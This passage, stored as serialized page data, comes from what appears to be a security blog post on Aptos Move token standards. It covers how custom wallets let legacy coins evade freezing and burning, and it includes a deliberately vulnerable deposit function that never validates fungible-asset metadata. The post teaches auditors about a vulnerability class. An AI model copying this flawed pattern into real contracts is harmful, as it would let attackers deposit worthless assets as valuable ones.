value",{"type":24,"tag":327,"props":67762,"children":67763},{"style":381},[67764],{"type":29,"value":1636},{"type":24,"tag":327,"props":67766,"children":67767},{"style":1639},[67768],{"type":29,"value":1669},{"type":24,"tag":327,"props":67770,"children":67771},{"style":346},[67772],{"type":29,"value":2231},{"type":24,"tag":327,"props":67774,"children":67775},{"class":329,"line":408},[67776],{"type":24,"tag":327,"props":67777,"children":67778},{"style":346},[67779],{"type":29,"value":592},{"type":24,"tag":25,"props":67781,"children":67782},{},[67783,67785,67790,67792,67798,67799,67805,67807,67812,67814,67819],{"type":29,"value":67784},"Aptos distinguishes coins by their type (",{"type":24,"tag":284,"props":67786,"children":67788},{"className":67787},[],[67789],{"type":29,"value":14150},{"type":29,"value":67791},") at compile time. For example, ",{"type":24,"tag":284,"props":67793,"children":67795},{"className":67794},[],[67796],{"type":29,"value":67797},"Coin\u003COtter>",{"type":29,"value":1323},{"type":24,"tag":284,"props":67800,"children":67802},{"className":67801},[],[67803],{"type":29,"value":67804},"Coin\u003CWeasel>",{"type":29,"value":67806}," represent different coins, and you cannot pass a ",{"type":24,"tag":284,"props":67808,"children":67810},{"className":67809},[],[67811],{"type":29,"value":67804},{"type":29,"value":67813}," to a function expecting ",{"type":24,"tag":284,"props":67815,"children":67817},{"className":67816},[],[67818],{"type":29,"value":67797},{"type":29,"value":66},{"type":24,"tag":25,"props":67821,"children":67822},{},[67823,67825,67830,67832,67837,67839,67844,67846,67852],{"type":29,"value":67824},"The type signature reveals why ",{"type":24,"tag":284,"props":67826,"children":67828},{"className":67827},[],[67829],{"type":29,"value":67689},{"type":29,"value":67831}," has become a legacy standard. ",{"type":24,"tag":284,"props":67833,"children":67835},{"className":67834},[],[67836],{"type":29,"value":67689},{"type":29,"value":67838}," has only the ",{"type":24,"tag":284,"props":67840,"children":67842},{"className":67841},[],[67843],{"type":29,"value":13508},{"type":29,"value":67845}," ability and uses a ",{"type":24,"tag":284,"props":67847,"children":67849},{"className":67848},[],[67850],{"type":29,"value":67851},"CoinStore",{"type":29,"value":67853}," wrapper to store the coin and metadata:",{"type":24,"tag":317,"props":67855,"children":67857},{"className":1553,"code":67856,"language":1552,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[67858],{"type":24,"tag":284,"props":67859,"children":67860},{"__ignoreMap":7},[67861,67901,67929,67949,67979,68008],{"type":24,"tag":327,"props":67862,"children":67863},{"class":329,"line":330},[67864,67868,67873,67877,67881,67885,67889,67893,67897],{"type":24,"tag":327,"props":67865,"children":67866},{"style":334},[67867],{"type":29,"value":2195},{"type":24,"tag":327,"props":67869,"children":67870},{"style":1639},[67871],{"type":29,"value":67872}," CoinStore",{"type":24,"tag":327,"props":67874,"children":67875},{"style":346},[67876],{"type":29,"value":1596},{"type":24,"tag":327,"props":67878,"children":67879},{"style":356},[67880],{"type":29,"value":13379},{"type":24,"tag":327,"props":67882,"children":67883},{"style":1639},[67884],{"type":29,"value":13384},{"type":24,"tag":327,"props":67886,"children":67887},{"style":346},[67888],{"type":29,"value":13389},{"type":24,"tag":327,"props":67890,"children":67891},{"style":356},[67892],{"type":29,"value":13394},{"type":24,"tag":327,"props":67894,"children":67895},{"style":356},[67896],{"type":29,"value":13499},{"type":24,"tag":327,"props":67898,"children":67899},{"style":346},[67900],{"type":29,"value":497},{"type":24,"tag":327,"props":67902,"children":67903},{"class":329,"line":367},[67904,67909,67913,67917,67921,67925],{"type":24,"tag":327,"props":67905,"children":67906},{"style":356},[67907],{"type":29,"value":67908},"    coin",{"type":24,"tag":327,"props":67910,"children":67911},{"style":381},[67912],{"type":29,"value":1636},{"type":24,"tag":327,"props":67914,"children":67915},{"style":1639},[67916],{"type":29,"value":13370},{"type":24,"tag":327,"props":67918,"children":67919},{"style":346},[67920],{"type":29,"value":1596},{"type":24,"tag":327,"props":67922,"children":67923},{"style":1639},[67924],{"type":29,"value":14150},{"type":24,"tag":327,"props":67926,"children":67927},{"style":346},[67928],{"type":29,"value":4529},{"type":24,"tag":327,"props":67930,"children":67931},{"class":329,"line":408},[67932,67937,67941,67945],{"type":24,"tag":327,"props":67933,"children":67934},{"style":356},[67935],{"type":29,"value":67936},"    frozen",{"type":24,"tag":327,"props":67938,"children":67939},{"style":381},[67940],{"type":29,"value":1636},{"type":24,"tag":327,"props":67942,"children":67943},{"style":1639},[67944],{"type":29,"value":1935},{"type":24,"tag":327,"props":67946,"children":67947},{"style":346},[67948],{"type":29,"value":2231},{"type":24,"tag":327,"props":67950,"children":67951},{"class":329,"line":421},[67952,67957,67961,67966,67970,67975],{"type":24,"tag":327,"props":67953,"children":67954},{"style":356},[67955],{"type":29,"value":67956},"    deposit_events",{"type":24,"tag":327,"props":67958,"children":67959},{"style":381},[67960],{"type":29,"value":1636},{"type":24,"tag":327,"props":67962,"children":67963},{"style":1639},[67964],{"type":29,"value":67965}," EventHandle",{"type":24,"tag":327,"props":67967,"children":67968},{"style":346},[67969],{"type":29,"value":1596},{"type":24,"tag":327,"props":67971,"children":67972},{"style":1639},[67973],{"type":29,"value":67974},"DepositEvent",{"type":24,"tag":327,"props":67976,"children":67977},{"style":346},[67978],{"type":29,"value":4529},{"type":24,"tag":327,"props":67980,"children":67981},{"class":329,"line":450},[67982,67987,67991,67995,67999,68004],{"type":24,"tag":327,"props":67983,"children":67984},{"style":356},[67985],{"type":29,"value":67986},"    withdraw_events",{"type":24,"tag":327,"props":67988,"children":67989},{"style":381},[67990],{"type":29,"value":1636},{"type":24,"tag":327,"props":67992,"children":67993},{"style":1639},[67994],{"type":29,"value":67965},{"type":24,"tag":327,"props":67996,"children":67997},{"style":346},[67998],{"type":29,"value":1596},{"type":24,"tag":327,"props":68000,"children":68001},{"style":1639},[68002],{"type":29,"value":68003},"WithdrawEvent",{"type":24,"tag":327,"props":68005,"children":68006},{"style":346},[68007],{"type":29,"value":4529},{"type":24,"tag":327,"props":68009,"children":68010},{"class":329,"line":481},[68011],{"type":24,"tag":327,"props":68012,"children":68013},{"style":346},[68014],{"type":29,"value":592},{"type":24,"tag":25,"props":68016,"children":68017},{},[68018,68020,68025,68027,68032],{"type":29,"value":68019},"However, an astute reader would note that this isn't the only place a ",{"type":24,"tag":284,"props":68021,"children":68023},{"className":68022},[],[68024],{"type":29,"value":67689},{"type":29,"value":68026}," can be stored. You can create your own ",{"type":24,"tag":284,"props":68028,"children":68030},{"className":68029},[],[68031],{"type":29,"value":67689},{"type":29,"value":68033}," wallet, which could look like this:",{"type":24,"tag":317,"props":68035,"children":68037},{"className":1553,"code":68036,"language":1552,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[68038],{"type":24,"tag":284,"props":68039,"children":68040},{"__ignoreMap":7},[68041,68081,68108],{"type":24,"tag":327,"props":68042,"children":68043},{"class":329,"line":330},[68044,68048,68053,68057,68061,68065,68069,68073,68077],{"type":24,"tag":327,"props":68045,"children":68046},{"style":334},[68047],{"type":29,"value":2195},{"type":24,"tag":327,"props":68049,"children":68050},{"style":1639},[68051],{"type":29,"value":68052}," DefinitelyLegitCoinStore",{"type":24,"tag":327,"props":68054,"children":68055},{"style":346},[68056],{"type":29,"value":1596},{"type":24,"tag":327,"props":68058,"children":68059},{"style":356},[68060],{"type":29,"value":13379},{"type":24,"tag":327,"props":68062,"children":68063},{"style":1639},[68064],{"type":29,"value":13384},{"type":24,"tag":327,"props":68066,"children":68067},{"style":346},[68068],{"type":29,"value":13389},{"type":24,"tag":327,"props":68070,"children":68071},{"style":356},[68072],{"type":29,"value":13394},{"type":24,"tag":327,"props":68074,"children":68075},{"style":356},[68076],{"type":29,"value":13499},{"type":24,"tag":327,"props":68078,"children":68079},{"style":346},[68080],{"type":29,"value":497},{"type":24,"tag":327,"props":68082,"children":68083},{"class":329,"line":367},[68084,68088,68092,68096,68100,68104],{"type":24,"tag":327,"props":68085,"children":68086},{"style":356},[68087],{"type":29,"value":67908},{"type":24,"tag":327,"props":68089,"children":68090},{"style":381},[68091],{"type":29,"value":1636},{"type":24,"tag":327,"props":68093,"children":68094},{"style":1639},[68095],{"type":29,"value":13370},{"type":24,"tag":327,"props":68097,"children":68098},{"style":346},[68099],{"type":29,"value":1596},{"type":24,"tag":327,"props":68101,"children":68102},{"style":1639},[68103],{"type":29,"value":14150},{"type":24,"tag":327,"props":68105,"children":68106},{"style":346},[68107],{"type":29,"value":9571},{"type":24,"tag":327,"props":68109,"children":68110},{"class":329,"line":408},[68111],{"type":24,"tag":327,"props":68112,"children":68113},{"style":346},[68114],{"type":29,"value":592},{"type":24,"tag":25,"props":68116,"children":68117},{},[68118,68123,68125,68131,68133,68138,68140,68146,68148,68153],{"type":24,"tag":284,"props":68119,"children":68121},{"className":68120},[],[68122],{"type":29,"value":67851},{"type":29,"value":68124}," includes a ",{"type":24,"tag":284,"props":68126,"children":68128},{"className":68127},[],[68129],{"type":29,"value":68130},"frozen",{"type":29,"value":68132}," field, allowing the issuer to block transfers to and from the store. ",{"type":24,"tag":284,"props":68134,"children":68136},{"className":68135},[],[68137],{"type":29,"value":67851},{"type":29,"value":68139}," is also required for a ",{"type":24,"tag":284,"props":68141,"children":68143},{"className":68142},[],[68144],{"type":29,"value":68145},"burn_from",{"type":29,"value":68147}," operation, which withdraws the ",{"type":24,"tag":284,"props":68149,"children":68151},{"className":68150},[],[68152],{"type":29,"value":67656},{"type":29,"value":68154}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":24,"tag":25,"props":68156,"children":68157},{},[68158,68160,68165,68167,68174,68176,68181],{"type":29,"value":68159},"Storing ",{"type":24,"tag":284,"props":68161,"children":68163},{"className":68162},[],[68164],{"type":29,"value":67656},{"type":29,"value":68166}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":24,"tag":57,"props":68168,"children":68171},{"href":68169,"rel":68170},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[61],[68172],{"type":29,"value":68173},"AIP-21",{"type":29,"value":68175}," summarizes the ",{"type":24,"tag":284,"props":68177,"children":68179},{"className":68178},[],[68180],{"type":29,"value":67656},{"type":29,"value":68182}," problems:",{"type":24,"tag":1706,"props":68184,"children":68185},{},[68186,68195],{"type":24,"tag":25,"props":68187,"children":68188},{},[68189,68193],{"type":24,"tag":327,"props":68190,"children":68191},{},[68192],{"type":29,"value":1922},{"type":29,"value":68194}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":24,"tag":25,"props":68196,"children":68197},{},[68198],{"type":29,"value":68199},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":24,"tag":25,"props":68201,"children":68202},{},[68203],{"type":29,"value":68204},"And declares, that:",{"type":24,"tag":1706,"props":68206,"children":68207},{},[68208],{"type":24,"tag":25,"props":68209,"children":68210},{},[68211],{"type":29,"value":68212},"Fungible assets addresses these issues.",{"type":24,"tag":25,"props":68214,"children":68215},{},[68216],{"type":29,"value":68217},"Let's find out whether this is indeed the case.",{"type":24,"tag":228,"props":68219,"children":68221},{"id":68220},"the-fungible-assets",[68222],{"type":29,"value":68223},"The fungible assets",{"type":24,"tag":25,"props":68225,"children":68226},{},[68227,68229,68235,68237,68244],{"type":29,"value":68228},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":24,"tag":284,"props":68230,"children":68232},{"className":68231},[],[68233],{"type":29,"value":68234},"FungibleAsset",{"type":29,"value":68236}," uses the ",{"type":24,"tag":57,"props":68238,"children":68241},{"href":68239,"rel":68240},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[61],[68242],{"type":29,"value":68243},"hot-potato pattern",{"type":29,"value":1636},{"type":24,"tag":317,"props":68246,"children":68248},{"className":1553,"code":68247,"language":1552,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[68249],{"type":24,"tag":284,"props":68250,"children":68251},{"__ignoreMap":7},[68252,68268,68298,68318],{"type":24,"tag":327,"props":68253,"children":68254},{"class":329,"line":330},[68255,68259,68264],{"type":24,"tag":327,"props":68256,"children":68257},{"style":334},[68258],{"type":29,"value":2195},{"type":24,"tag":327,"props":68260,"children":68261},{"style":1639},[68262],{"type":29,"value":68263}," FungibleAsset",{"type":24,"tag":327,"props":68265,"children":68266},{"style":346},[68267],{"type":29,"value":497},{"type":24,"tag":327,"props":68269,"children":68270},{"class":329,"line":367},[68271,68276,68280,68285,68289,68294],{"type":24,"tag":327,"props":68272,"children":68273},{"style":356},[68274],{"type":29,"value":68275},"    metadata",{"type":24,"tag":327,"props":68277,"children":68278},{"style":381},[68279],{"type":29,"value":1636},{"type":24,"tag":327,"props":68281,"children":68282},{"style":1639},[68283],{"type":29,"value":68284}," Object",{"type":24,"tag":327,"props":68286,"children":68287},{"style":346},[68288],{"type":29,"value":1596},{"type":24,"tag":327,"props":68290,"children":68291},{"style":1639},[68292],{"type":29,"value":68293},"Metadata",{"type":24,"tag":327,"props":68295,"children":68296},{"style":346},[68297],{"type":29,"value":4529},{"type":24,"tag":327,"props":68299,"children":68300},{"class":329,"line":408},[68301,68306,68310,68314],{"type":24,"tag":327,"props":68302,"children":68303},{"style":356},[68304],{"type":29,"value":68305},"    amount",{"type":24,"tag":327,"props":68307,"children":68308},{"style":381},[68309],{"type":29,"value":1636},{"type":24,"tag":327,"props":68311,"children":68312},{"style":1639},[68313],{"type":29,"value":1669},{"type":24,"tag":327,"props":68315,"children":68316},{"style":346},[68317],{"type":29,"value":2231},{"type":24,"tag":327,"props":68319,"children":68320},{"class":329,"line":421},[68321],{"type":24,"tag":327,"props":68322,"children":68323},{"style":346},[68324],{"type":29,"value":592},{"type":24,"tag":25,"props":68326,"children":68327},{},[68328,68330,68335,68336,68341,68343,68348,68350,68357],{"type":29,"value":68329},"Unlike ",{"type":24,"tag":284,"props":68331,"children":68333},{"className":68332},[],[68334],{"type":29,"value":67689},{"type":29,"value":2744},{"type":24,"tag":284,"props":68337,"children":68339},{"className":68338},[],[68340],{"type":29,"value":68234},{"type":29,"value":68342}," types are defined at runtime through the ",{"type":24,"tag":284,"props":68344,"children":68346},{"className":68345},[],[68347],{"type":29,"value":68293},{"type":29,"value":68349}," field. This change was meant to ",{"type":24,"tag":57,"props":68351,"children":68354},{"href":68352,"rel":68353},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[61],[68355],{"type":29,"value":68356},"enhance extensibility",{"type":29,"value":1636},{"type":24,"tag":1706,"props":68359,"children":68360},{},[68361],{"type":24,"tag":25,"props":68362,"children":68363},{},[68364],{"type":29,"value":68365},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":24,"tag":25,"props":68367,"children":68368},{},[68369,68371,68377],{"type":29,"value":68370},"An important implication is that functions accepting ",{"type":24,"tag":284,"props":68372,"children":68374},{"className":68373},[],[68375],{"type":29,"value":68376},"FungibleAssets",{"type":29,"value":68378}," must verify the metadata to ensure valid assets.",{"type":24,"tag":25,"props":68380,"children":68381},{},[68382],{"type":29,"value":68383},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":24,"tag":317,"props":68385,"children":68387},{"className":1553,"code":68386,"language":1552,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[68388],{"type":24,"tag":284,"props":68389,"children":68390},{"__ignoreMap":7},[68391,68428,68466,68490,68502,68510,68555,68589,68619,68626,68663,68670,68708,68715,68761],{"type":24,"tag":327,"props":68392,"children":68393},{"class":329,"line":330},[68394,68399,68403,68408,68412,68416,68420,68424],{"type":24,"tag":327,"props":68395,"children":68396},{"style":356},[68397],{"type":29,"value":68398},"public",{"type":24,"tag":327,"props":68400,"children":68401},{"style":356},[68402],{"type":29,"value":13773},{"type":24,"tag":327,"props":68404,"children":68405},{"style":356},[68406],{"type":29,"value":68407}," deposit",{"type":24,"tag":327,"props":68409,"children":68410},{"style":346},[68411],{"type":29,"value":1596},{"type":24,"tag":327,"props":68413,"children":68414},{"style":1639},[68415],{"type":29,"value":13555},{"type":24,"tag":327,"props":68417,"children":68418},{"style":381},[68419],{"type":29,"value":1636},{"type":24,"tag":327,"props":68421,"children":68422},{"style":356},[68423],{"type":29,"value":13499},{"type":24,"tag":327,"props":68425,"children":68426},{"style":346},[68427],{"type":29,"value":14155},{"type":24,"tag":327,"props":68429,"children":68430},{"class":329,"line":367},[68431,68436,68440,68444,68448,68452,68457,68461],{"type":24,"tag":327,"props":68432,"children":68433},{"style":356},[68434],{"type":29,"value":68435},"    sender",{"type":24,"tag":327,"props":68437,"children":68438},{"style":381},[68439],{"type":29,"value":1636},{"type":24,"tag":327,"props":68441,"children":68442},{"style":381},[68443],{"type":29,"value":14704},{"type":24,"tag":327,"props":68445,"children":68446},{"style":356},[68447],{"type":29,"value":14709},{"type":24,"tag":327,"props":68449,"children":68450},{"style":346},[68451],{"type":29,"value":2744},{"type":24,"tag":327,"props":68453,"children":68454},{"style":356},[68455],{"type":29,"value":68456},"fa",{"type":24,"tag":327,"props":68458,"children":68459},{"style":381},[68460],{"type":29,"value":1636},{"type":24,"tag":327,"props":68462,"children":68463},{"style":1639},[68464],{"type":29,"value":68465}," FungibleAsset\n",{"type":24,"tag":327,"props":68467,"children":68468},{"class":329,"line":408},[68469,68473,68477,68481,68485],{"type":24,"tag":327,"props":68470,"children":68471},{"style":346},[68472],{"type":29,"value":1674},{"type":24,"tag":327,"props":68474,"children":68475},{"style":356},[68476],{"type":29,"value":13910},{"type":24,"tag":327,"props":68478,"children":68479},{"style":346},[68480],{"type":29,"value":4446},{"type":24,"tag":327,"props":68482,"children":68483},{"style":381},[68484],{"type":29,"value":1922},{"type":24,"tag":327,"props":68486,"children":68487},{"style":346},[68488],{"type":29,"value":68489},"] {\n",{"type":24,"tag":327,"props":68491,"children":68492},{"class":329,"line":421},[68493,68498],{"type":24,"tag":327,"props":68494,"children":68495},{"style":340},[68496],{"type":29,"value":68497},"    assert_not_paused",{"type":24,"tag":327,"props":68499,"children":68500},{"style":346},[68501],{"type":29,"value":4838},{"type":24,"tag":327,"props":68503,"children":68504},{"class":329,"line":450},[68505],{"type":24,"tag":327,"props":68506,"children":68507},{"style":346},[68508],{"type":29,"value":68509},"    \n",{"type":24,"tag":327,"props":68511,"children":68512},{"class":329,"line":481},[68513,68517,68522,68526,68531,68535,68539,68543,68547,68551],{"type":24,"tag":327,"props":68514,"children":68515},{"style":334},[68516],{"type":29,"value":4794},{"type":24,"tag":327,"props":68518,"children":68519},{"style":356},[68520],{"type":29,"value":68521}," fa_amount",{"type":24,"tag":327,"props":68523,"children":68524},{"style":381},[68525],{"type":29,"value":4809},{"type":24,"tag":327,"props":68527,"children":68528},{"style":346},[68529],{"type":29,"value":68530}," fungible_asset",{"type":24,"tag":327,"props":68532,"children":68533},{"style":381},[68534],{"type":29,"value":2407},{"type":24,"tag":327,"props":68536,"children":68537},{"style":340},[68538],{"type":29,"value":1660},{"type":24,"tag":327,"props":68540,"children":68541},{"style":346},[68542],{"type":29,"value":349},{"type":24,"tag":327,"props":68544,"children":68545},{"style":381},[68546],{"type":29,"value":8716},{"type":24,"tag":327,"props":68548,"children":68549},{"style":356},[68550],{"type":29,"value":68456},{"type":24,"tag":327,"props":68552,"children":68553},{"style":346},[68554],{"type":29,"value":583},{"type":24,"tag":327,"props":68556,"children":68557},{"class":329,"line":500},[68558,68562,68567,68571,68576,68580,68585],{"type":24,"tag":327,"props":68559,"children":68560},{"style":334},[68561],{"type":29,"value":4794},{"type":24,"tag":327,"props":68563,"children":68564},{"style":356},[68565],{"type":29,"value":68566}," sender_address",{"type":24,"tag":327,"props":68568,"children":68569},{"style":381},[68570],{"type":29,"value":4809},{"type":24,"tag":327,"props":68572,"children":68573},{"style":340},[68574],{"type":29,"value":68575}," address_of",{"type":24,"tag":327,"props":68577,"children":68578},{"style":346},[68579],{"type":29,"value":349},{"type":24,"tag":327,"props":68581,"children":68582},{"style":356},[68583],{"type":29,"value":68584},"sender",{"type":24,"tag":327,"props":68586,"children":68587},{"style":346},[68588],{"type":29,"value":583},{"type":24,"tag":327,"props":68590,"children":68591},{"class":329,"line":529},[68592,68597,68601,68606,68610,68615],{"type":24,"tag":327,"props":68593,"children":68594},{"style":340},[68595],{"type":29,"value":68596},"    check_compliance",{"type":24,"tag":327,"props":68598,"children":68599},{"style":346},[68600],{"type":29,"value":349},{"type":24,"tag":327,"props":68602,"children":68603},{"style":356},[68604],{"type":29,"value":68605},"fa_amount",{"type":24,"tag":327,"props":68607,"children":68608},{"style":346},[68609],{"type":29,"value":2744},{"type":24,"tag":327,"props":68611,"children":68612},{"style":356},[68613],{"type":29,"value":68614},"sender_address",{"type":24,"tag":327,"props":68616,"children":68617},{"style":346},[68618],{"type":29,"value":583},{"type":24,"tag":327,"props":68620,"children":68621},{"class":329,"line":538},[68622],{"type":24,"tag":327,"props":68623,"children":68624},{"style":346},[68625],{"type":29,"value":68509},{"type":24,"tag":327,"props":68627,"children":68628},{"class":329,"line":547},[68629,68634,68638,68643,68647,68651,68655,68659],{"type":24,"tag":327,"props":68630,"children":68631},{"style":340},[68632],{"type":29,"value":68633},"    increase_deposit",{"type":24,"tag":327,"props":68635,"children":68636},{"style":346},[68637],{"type":29,"value":349},{"type":24,"tag":327,"props":68639,"children":68640},{"style":340},[68641],{"type":29,"value":68642},"get_vault",{"type":24,"tag":327,"props":68644,"children":68645},{"style":346},[68646],{"type":29,"value":349},{"type":24,"tag":327,"props":68648,"children":68649},{"style":356},[68650],{"type":29,"value":68614},{"type":24,"tag":327,"props":68652,"children":68653},{"style":346},[68654],{"type":29,"value":22701},{"type":24,"tag":327,"props":68656,"children":68657},{"style":356},[68658],{"type":29,"value":68605},{"type":24,"tag":327,"props":68660,"children":68661},{"style":346},[68662],{"type":29,"value":583},{"type":24,"tag":327,"props":68664,"children":68665},{"class":329,"line":557},[68666],{"type":24,"tag":327,"props":68667,"children":68668},{"style":346},[68669],{"type":29,"value":68509},{"type":24,"tag":327,"props":68671,"children":68672},{"class":329,"line":586},[68673,68678,68682,68687,68691,68696,68700,68704],{"type":24,"tag":327,"props":68674,"children":68675},{"style":346},[68676],{"type":29,"value":68677},"    primary_fungible_store",{"type":24,"tag":327,"props":68679,"children":68680},{"style":381},[68681],{"type":29,"value":2407},{"type":24,"tag":327,"props":68683,"children":68684},{"style":340},[68685],{"type":29,"value":68686},"deposit",{"type":24,"tag":327,"props":68688,"children":68689},{"style":346},[68690],{"type":29,"value":349},{"type":24,"tag":327,"props":68692,"children":68693},{"style":340},[68694],{"type":29,"value":68695},"global_vault_address",{"type":24,"tag":327,"props":68697,"children":68698},{"style":346},[68699],{"type":29,"value":25885},{"type":24,"tag":327,"props":68701,"children":68702},{"style":356},[68703],{"type":29,"value":68456},{"type":24,"tag":327,"props":68705,"children":68706},{"style":346},[68707],{"type":29,"value":583},{"type":24,"tag":327,"props":68709,"children":68710},{"class":329,"line":1017},[68711],{"type":24,"tag":327,"props":68712,"children":68713},{"style":346},[68714],{"type":29,"value":68509},{"type":24,"tag":327,"props":68716,"children":68717},{"class":329,"line":1026},[68718,68723,68727,68732,68736,68741,68745,68749,68753,68757],{"type":24,"tag":327,"props":68719,"children":68720},{"style":346},[68721],{"type":29,"value":68722},"    event",{"type":24,"tag":327,"props":68724,"children":68725},{"style":381},[68726],{"type":29,"value":2407},{"type":24,"tag":327,"props":68728,"children":68729},{"style":340},[68730],{"type":29,"value":68731},"emit",{"type":24,"tag":327,"props":68733,"children":68734},{"style":346},[68735],{"type":29,"value":349},{"type":24,"tag":327,"props":68737,"children":68738},{"style":1639},[68739],{"type":29,"value":68740},"Deposit",{"type":24,"tag":327,"props":68742,"children":68743},{"style":346},[68744],{"type":29,"value":51936},{"type":24,"tag":327,"props":68746,"children":68747},{"style":356},[68748],{"type":29,"value":68614},{"type":24,"tag":327,"props":68750,"children":68751},{"style":346},[68752],{"type":29,"value":2744},{"type":24,"tag":327,"props":68754,"children":68755},{"style":356},[68756],{"type":29,"value":68605},{"type":24,"tag":327,"props":68758,"children":68759},{"style":346},[68760],{"type":29,"value":39733},{"type":24,"tag":327,"props":68762,"children":68763},{"class":329,"line":1048},[68764],{"type":24,"tag":327,"props":68765,"children":68766},{"style":346},[68767],{"type":29,"value":592},{"type":24,"tag":25,"props":68769,"children":68770},{},[68771],{"type":29,"value":68772},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":24,"tag":25,"props":68774,"children":68775},{},[68776],{"type":29,"value":68777},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":24,"tag":228,"props":68779,"children":68781},{"id":68780},"fungible-stores",[68782],{"type":29,"value":68783},"Fungible stores",{"type":24,"tag":25,"props":68785,"children":68786},{},[68787],{"type":29,"value":68788},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":24,"tag":25,"props":68790,"children":68791},{},[68792,68794,68800],{"type":29,"value":68793},"Meet the ",{"type":24,"tag":284,"props":68795,"children":68797},{"className":68796},[],[68798],{"type":29,"value":68799},"FungibleStore",{"type":29,"value":66},{"type":24,"tag":317,"props":68802,"children":68804},{"className":1553,"code":68803,"language":1552,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[68805],{"type":24,"tag":284,"props":68806,"children":68807},{"__ignoreMap":7},[68808,68832,68859,68879,68898],{"type":24,"tag":327,"props":68809,"children":68810},{"class":329,"line":330},[68811,68815,68820,68824,68828],{"type":24,"tag":327,"props":68812,"children":68813},{"style":334},[68814],{"type":29,"value":2195},{"type":24,"tag":327,"props":68816,"children":68817},{"style":1639},[68818],{"type":29,"value":68819}," FungibleStore",{"type":24,"tag":327,"props":68821,"children":68822},{"style":356},[68823],{"type":29,"value":16961},{"type":24,"tag":327,"props":68825,"children":68826},{"style":356},[68827],{"type":29,"value":13499},{"type":24,"tag":327,"props":68829,"children":68830},{"style":346},[68831],{"type":29,"value":497},{"type":24,"tag":327,"props":68833,"children":68834},{"class":329,"line":367},[68835,68839,68843,68847,68851,68855],{"type":24,"tag":327,"props":68836,"children":68837},{"style":356},[68838],{"type":29,"value":68275},{"type":24,"tag":327,"props":68840,"children":68841},{"style":381},[68842],{"type":29,"value":1636},{"type":24,"tag":327,"props":68844,"children":68845},{"style":1639},[68846],{"type":29,"value":68284},{"type":24,"tag":327,"props":68848,"children":68849},{"style":346},[68850],{"type":29,"value":1596},{"type":24,"tag":327,"props":68852,"children":68853},{"style":1639},[68854],{"type":29,"value":68293},{"type":24,"tag":327,"props":68856,"children":68857},{"style":346},[68858],{"type":29,"value":4529},{"type":24,"tag":327,"props":68860,"children":68861},{"class":329,"line":408},[68862,68867,68871,68875],{"type":24,"tag":327,"props":68863,"children":68864},{"style":356},[68865],{"type":29,"value":68866},"    balance",{"type":24,"tag":327,"props":68868,"children":68869},{"style":381},[68870],{"type":29,"value":1636},{"type":24,"tag":327,"props":68872,"children":68873},{"style":1639},[68874],{"type":29,"value":1669},{"type":24,"tag":327,"props":68876,"children":68877},{"style":346},[68878],{"type":29,"value":2231},{"type":24,"tag":327,"props":68880,"children":68881},{"class":329,"line":421},[68882,68886,68890,68894],{"type":24,"tag":327,"props":68883,"children":68884},{"style":356},[68885],{"type":29,"value":67936},{"type":24,"tag":327,"props":68887,"children":68888},{"style":381},[68889],{"type":29,"value":1636},{"type":24,"tag":327,"props":68891,"children":68892},{"style":1639},[68893],{"type":29,"value":1935},{"type":24,"tag":327,"props":68895,"children":68896},{"style":346},[68897],{"type":29,"value":2231},{"type":24,"tag":327,"props":68899,"children":68900},{"class":329,"line":450},[68901],{"type":24,"tag":327,"props":68902,"children":68903},{"style":346},[68904],{"type":29,"value":592},{"type":24,"tag":25,"props":68906,"children":68907},{},[68908,68913,68915,68920,68922,68927,68929,68934,68936,68941],{"type":24,"tag":284,"props":68909,"children":68911},{"className":68910},[],[68912],{"type":29,"value":68799},{"type":29,"value":68914}," manages balances and metadata instead of holding the actual ",{"type":24,"tag":284,"props":68916,"children":68918},{"className":68917},[],[68919],{"type":29,"value":68234},{"type":29,"value":68921}," (it can't because ",{"type":24,"tag":284,"props":68923,"children":68925},{"className":68924},[],[68926],{"type":29,"value":68234},{"type":29,"value":68928}," doesn't have ",{"type":24,"tag":284,"props":68930,"children":68932},{"className":68931},[],[68933],{"type":29,"value":13508},{"type":29,"value":68935},"). Withdrawals create temporary ",{"type":24,"tag":284,"props":68937,"children":68939},{"className":68938},[],[68940],{"type":29,"value":68234},{"type":29,"value":68942}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves 